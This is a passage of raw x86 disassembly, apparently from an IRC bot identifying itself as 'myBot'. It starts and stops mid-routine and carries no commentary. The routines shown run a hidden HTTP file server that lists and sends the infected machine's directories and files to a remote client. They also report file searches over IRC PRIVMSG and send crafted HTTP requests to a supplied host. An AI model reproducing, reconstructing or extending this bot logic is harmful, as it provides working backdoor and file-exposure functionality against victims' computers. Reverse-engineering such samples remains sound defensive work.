lea eax, [ebp+var_8F0]
push eax
call sub_40BF6F
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
push [ebp+var_254]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_405AF0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F4B proc near ; DATA XREF: sub_4060CD+246o
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
lea eax, [ebp+var_2C4]
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_405FB0
push offset aTextHtml ; "text/html"
jmp short loc_405FB5
; ---------------------------------------------------------------------------
loc_405FB0: ; CODE XREF: sub_405F4B+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_405FB5: ; CODE XREF: sub_405F4B+63j
lea eax, [ebp+var_9C]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_423098 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_423094 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40602E
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_40604F
; ---------------------------------------------------------------------------
loc_40602E: ; CODE XREF: sub_405F4B+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_40604F: ; CODE XREF: sub_405F4B+E1j
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44C]
call ds:dword_43C668 ; send
cmp [ebp+var_A4], edi
jnz short loc_40608F
lea eax, [ebp+Dest]
push eax
push [ebp+var_44C]
call sub_4069FF
pop ecx
pop ecx
jmp short loc_4060AC
; ---------------------------------------------------------------------------
loc_40608F: ; CODE XREF: sub_405F4B+12Cj
lea eax, [ebp+Source]
push eax ; Source
push edi ; int
push [ebp+var_44C] ; int
lea eax, [ebp+Dest]
push eax ; Str
call sub_40637D
add esp, 10h
loc_4060AC: ; CODE XREF: sub_405F4B+142j
push [ebp+var_44C]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_B4]
call sub_417064
pop ecx
push edi
call ds:dword_423050
pop edi
pop esi
sub_405F4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060CD proc near ; CODE XREF: sub_405AF0+3C0p
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Format = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Str = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_406103
push eax
push offset aS_9 ; "\\%s"
jmp short loc_40610C
; ---------------------------------------------------------------------------
loc_406103: ; CODE XREF: sub_4060CD+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40610C: ; CODE XREF: sub_4060CD+34j
lea eax, [ebp+Str]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Str]
xor esi, esi
xor ebx, ebx
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_4061A7
mov [ebp+arg_8], 2
loc_406137: ; CODE XREF: sub_4060CD+D8j
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_406177
cmp [ebp+esi+Str], 25h
jnz short loc_406177
cmp [ebp+esi+var_10B], 32h
jnz short loc_406177
cmp [ebp+esi+var_10A], 30h
jnz short loc_406177
inc esi
mov [ebp+ebx+Dst], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_406191
; ---------------------------------------------------------------------------
loc_406177: ; CODE XREF: sub_4060CD+7Aj
; sub_4060CD+84j ...
mov al, [ebp+esi+Str]
cmp al, 2Fh
jnz short loc_406187
push 5Ch
pop eax
jmp short loc_40618A
; ---------------------------------------------------------------------------
loc_406187: ; CODE XREF: sub_4060CD+B3j
movsx eax, al
loc_40618A: ; CODE XREF: sub_4060CD+B8j
mov [ebp+ebx+Dst], al
loc_406191: ; CODE XREF: sub_4060CD+A8j
lea eax, [ebp+Str]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_406137
loc_4061A7: ; CODE XREF: sub_4060CD+61j
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Format]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Format]
push offset asc_429660 ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Format]
push eax
call ds:dword_4230A4 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4061F5
cmp eax, 0FFFFFFFFh
jnz short loc_4061F8
push [ebp+arg_0]
jmp short loc_406274
; ---------------------------------------------------------------------------
loc_4061F5: ; CODE XREF: sub_4060CD+11Cj
mov [ebp+var_4], esi
loc_4061F8: ; CODE XREF: sub_4060CD+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_406205
mov [ebp+var_4], esi
loc_406205: ; CODE XREF: sub_4060CD+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40627F
cmp [ebp+arg_C], edi
jz short loc_406273
lea eax, [ebp+Format]
push offset asc_42965C ; "*"
push eax ; Dest
call _strcat
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_406ABC
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_4062CE
; ---------------------------------------------------------------------------
loc_406273: ; CODE XREF: sub_4060CD+14Fj
push ebx
loc_406274: ; CODE XREF: sub_4060CD+126j
call ds:dword_43C6B0 ; closesocket
jmp loc_406376
; ---------------------------------------------------------------------------
loc_40627F: ; CODE XREF: sub_4060CD+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+Format]
push 80000000h
push eax
call ds:dword_423080
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4062CE
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_4230A0
push esi
mov [ebp+var_330], eax
call ds:dword_423074
loc_4062CE: ; CODE XREF: sub_4060CD+1A4j
; sub_4060CD+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+Source]
push esi
push offset unk_42961C ; Format
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_416D48
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov ds:dword_442074[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405F4B
push edi
push edi
call ds:dword_42309C
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov ds:dword_442084[ecx], eax
jz short loc_406348
loc_406336: ; CODE XREF: sub_4060CD+279j
cmp [ebp+var_318], edi
jnz short loc_406376
push 5
call ds:dword_423060 ; Sleep
jmp short loc_406336
; ---------------------------------------------------------------------------
loc_406348: ; CODE XREF: sub_4060CD+267j
push ebx
call ds:dword_43C6B0 ; closesocket
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset unk_4295D4 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_40BF6F
add esp, 10h
loc_406376: ; CODE XREF: sub_4060CD+1ADj
; sub_4060CD+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4060CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40637D(char *Str,int,int,char *Source)
sub_40637D proc near ; CODE XREF: sub_405F4B+159p
; sub_40EE51+49C7p
Dst = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
Str1 = byte ptr -35Ch
var_248 = byte ptr -248h
Dest = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+Str]
push offset asc_429660 ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4063DC
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_4064D9
; ---------------------------------------------------------------------------
loc_4063DC: ; CODE XREF: sub_40637D+3Aj
cmp [ebp+Source], ebx
push edi ; Str
jz loc_4064BF
call _strlen
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
push edi ; Str
call _strlen
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4064D9
; ---------------------------------------------------------------------------
loc_4064BF: ; CODE XREF: sub_40637D+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4064D9: ; CODE XREF: sub_40637D+5Aj
; sub_40637D+140j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
cmp [ebp+Source], ebx
jz short loc_406571
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_406571
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_406525
loc_406519: ; CODE XREF: sub_40637D+1A6j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_406525
dec eax
jnz short loc_406519
loc_406525: ; CODE XREF: sub_40637D+19Aj
; sub_40637D+1A3j
inc eax
push eax ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
loc_406571: ; CODE XREF: sub_40637D+17Ej
; sub_40637D+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_4230B8
lea ecx, [ebp+var_388]
mov [ebp+Str], eax
push ecx
push eax
call ds:dword_4230B4 ; FindNextFileA
test eax, eax
jz loc_406962
mov edi, 1FFh
loc_40659D: ; CODE XREF: sub_40637D+5DFj
cmp [ebp+var_388], ebx
jz loc_40694A
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40694A
lea eax, [ebp+Str1]
push offset a_ ; "."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40694A
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_4230B0 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_4230AC ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406612
mov ecx, offset aAm ; "AM"
loc_406612: ; CODE XREF: sub_40637D+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40661E
sub eax, 0Ch
loc_40661E: ; CODE XREF: sub_40637D+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4067CB
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40669F
lea eax, [ebp+Str1]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 28h
jmp loc_40691B
; ---------------------------------------------------------------------------
loc_40669F: ; CODE XREF: sub_40637D+2DBj
cmp [ebp+Source], ebx
jz loc_406789
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_0 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_40673F
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_406744
; ---------------------------------------------------------------------------
loc_40673F: ; CODE XREF: sub_40637D+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_406744: ; CODE XREF: sub_40637D+3C0j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40690C
; ---------------------------------------------------------------------------
loc_406789: ; CODE XREF: sub_40637D+325j
lea eax, [ebp+Str1]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4067B6: ; CODE XREF: sub_40637D+476j
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_40691B
; ---------------------------------------------------------------------------
loc_4067CB: ; CODE XREF: sub_40637D+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4067F5
push ebx
push [ebp+var_368]
call sub_40D01A
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4067B6
; ---------------------------------------------------------------------------
loc_4067F5: ; CODE XREF: sub_40637D+454j
cmp [ebp+Source], ebx
jz loc_4068F5
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_2 ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_406895
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40689A
; ---------------------------------------------------------------------------
loc_406895: ; CODE XREF: sub_40637D+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40689A: ; CODE XREF: sub_40637D+516j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_40691B
; ---------------------------------------------------------------------------
loc_4068F5: ; CODE XREF: sub_40637D+47Bj
push [ebp+var_368]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi ; Count
loc_40690C: ; CODE XREF: sub_40637D+407j
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 18h
loc_40691B: ; CODE XREF: sub_40637D+31Dj
; sub_40637D+449j ...
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
cmp [ebp+arg_8], ebx
jz short loc_40694A
push 7D0h
call ds:dword_423060 ; Sleep
loc_40694A: ; CODE XREF: sub_40637D+226j
; sub_40637D+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+Str]
call ds:dword_4230B4 ; FindNextFileA
test eax, eax
jnz loc_40659D
loc_406962: ; CODE XREF: sub_40637D+215j
push [ebp+Str]
call ds:dword_4230A8 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_4069A5
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_4069D9
; ---------------------------------------------------------------------------
loc_4069A5: ; CODE XREF: sub_40637D+5F1j
cmp [ebp+Source], ebx
jz short loc_4069BF
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_4069D9
; ---------------------------------------------------------------------------
loc_4069BF: ; CODE XREF: sub_40637D+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_4069D9: ; CODE XREF: sub_40637D+626j
; sub_40637D+640j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_43C668 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40637D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4069FF proc near ; CODE XREF: sub_405F4B+13Bp
Dst = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_423080
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406AB7
push esi
push ebx
call ds:dword_4230A0
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406AB0
loc_406A44: ; CODE XREF: sub_4069FF+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A61
mov edi, [ebp+arg_4]
loc_406A61: ; CODE XREF: sub_4069FF+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_4230BC
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Dst]
push edi
push eax
push ebx
call ds:dword_423070
push esi
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406AAB
call ds:dword_43C5AC ; WSAGetLastError
cmp eax, 2733h
jnz short loc_406AB0
xor eax, eax
loc_406AAB: ; CODE XREF: sub_4069FF+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A44
loc_406AB0: ; CODE XREF: sub_4069FF+43j
; sub_4069FF+A8j
push ebx
call ds:dword_423074
loc_406AB7: ; CODE XREF: sub_4069FF+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4069FF endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_406ABC(char *Str)
sub_406ABC proc near ; CODE XREF: sub_4060CD+17Cp
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
xor esi, esi
push edi ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_406AE5
loc_406ACF: ; CODE XREF: sub_406ABC+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406AD9
mov byte ptr [esi+edi], 2Fh
loc_406AD9: ; CODE XREF: sub_406ABC+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_406ACF
loc_406AE5: ; CODE XREF: sub_406ABC+11j
mov eax, edi
pop edi
pop esi
retn
sub_406ABC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AEA proc near ; CODE XREF: sub_40EE51+2C0Dp
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Str = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_43C590 ; WSAStartup
push 6
push 1
push 2
call ds:dword_43C698 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_14]
call ds:dword_43C618 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40ADC5
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_406BC7
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B63
mov eax, offset byte_4397BC
loc_406B63: ; CODE XREF: sub_406AEA+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+Str]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_43C668 ; send
push esi ; Size
lea eax, [ebp+Str]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+Str]
push edi
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
pop esi
loc_406BC7: ; CODE XREF: sub_406AEA+6Bj
push ebx
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C578 ; WSACleanup
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C07
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_406C07: ; CODE XREF: sub_406AEA+102j
pop edi
pop ebx
leave
retn
sub_406AEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C0B proc near ; CODE XREF: sub_406C0B:loc_4070F6p
; DATA XREF: sub_407243+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
